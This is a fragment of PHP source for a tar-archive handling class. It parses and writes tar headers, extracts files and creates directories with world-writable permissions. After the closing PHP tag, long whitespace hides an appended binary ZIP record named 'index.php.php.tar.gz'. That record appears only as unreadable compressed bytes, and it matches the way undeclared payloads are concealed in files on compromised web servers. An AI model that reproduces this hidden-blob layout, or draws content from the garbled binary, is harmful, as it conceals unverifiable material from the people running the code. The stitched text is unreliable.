				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   PK     S])cJf  Jf    index.php.php.tar.gznu [              w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
